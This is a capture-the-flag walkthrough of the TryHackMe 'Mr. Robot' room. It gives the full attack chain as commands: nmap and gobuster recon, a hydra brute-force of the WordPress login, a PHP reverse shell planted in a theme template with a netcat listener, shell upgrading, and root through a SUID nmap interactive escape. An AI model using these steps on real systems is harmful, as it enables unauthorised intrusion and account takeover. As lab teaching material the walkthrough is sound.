[ Mr. Robot ] -TRYHACKME

Machine Name: Mr. Robot
Difficulty: Medium

Link: https://tryhackme.com/room/mrrobot

Hello guys This machine is based on the most famous web-series Mr.Robot. This is medium difficulty machine and contains three flags. So let's try capture all three flags one by one.

Initial recon

As usual we are going to scan all the network using nmap to check which services are running on the IP address.

flags used in nmap scan
-sV for service version scan
-sC for scan with default NSE scripts
-oA for output in the three major formats at once

nmap -sV -sC -oA mrrobot 10.10.108.7

 Only couple of ports are open, have a look in browser at open port 80

 An interesting site shown on port 80

use gobuster to scan the whole website and it's directory type the following command in the terminal for start the search.

gobuster -t 100 dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.108.7/

gobuster directory scanning shows many of hosted directory and after scanning robots.txt is interesting for us because robots.txt contains our first key and dictionary file named as fsocity.dic.

fsocity.dic is used for finding username and password for the wordpress login.

now we can grab our first key from http://10.10.108.7/ using wget command

run this command in the terminal

wget http://10.10.108.7/key-1-of-3.txt

Gain Access

In gobuster directory scanning this tool captures wordpress login page so let's checkout the url http://10.10.108.7/wp-login

This page gives access to the admin control of the wordpress server so let's find out the username and password of the admin. Now here we can use fsocity.dic file to bruteforce the webpage.

The error message for the invalid username means we have to find the username and password for the wordpress login box. This is quite easy because we just found the fsocity.dic file from the initial recon this dictionary file helps us to find the username and password. Fire up burp first to intercept login response.

we can use these log line to find the username using hydra

hydra -V -L fsocity.dic -p 123 10.10.108.7 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username'

After few seconds we find the username as Elliot. Now repeat using hydra

hydra -V -L Elliot -p fsocity.dic 10.10.108.7 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username'

We find the password in the file as ERxx-06xx, we can login in wordpress

Quick look around we find and upload item on the wordpress server. Let's upload reverse shell to the wordpress so we can connect. Grab php script from the kali. php-reverse-shell.php is pre-install in /usr/share/webshells/php

it's just same version on pentestmonkey.

copy the content from the php-reverse-shell.php and past it in the 404.php template, overwrite all that was in before. Don't forget to change ip to your tun0 ip

Now it's time to fireup the listener i am using netcat for listen on the port 1234 follow the command

nc -lnvp 1234

After starting the listener now it's time to start php-reverse-shell using curl to do this type the command

curl http://10.10.108.7/404.php

After running this command we got shell from of the server and now we can upgrade the shell.

type the command in open session

python -c 'import pty; pty.spawn("/bin/bash")'

This command spwan the bash shelll

daemon@linux:/home/robot$ ls
ls
key-2-of-3.txt  password.raw-md5
daemon@linux:/home/robot$ cat password.raw-md5
cat password.raw-md5
<<HIDDEN>>

This md5 hash contains the password for the user robot so let's crack it from crackstation after second we got the password for the user robot now login as robot and cat key-2-of-3.txt. Sucess we got another key. Now it's time to root the machine and grab the last key.

Privilge Escalation

Now we need to escalate to root to get the last key. First we need to look file with SUID set. These set helps us to run as root.

type command

find / -perm -4000 2>/dev/null

We see nmap is in the list so we can easy run nmap interactive mode to get the root shell

type the command

nmap --interactive

Now we have nmap interactive mode.

To get the root shell type !sh in nmap interactive mode

Now we have root shell type cat /root/key-3-of-3.txt to get the last root key.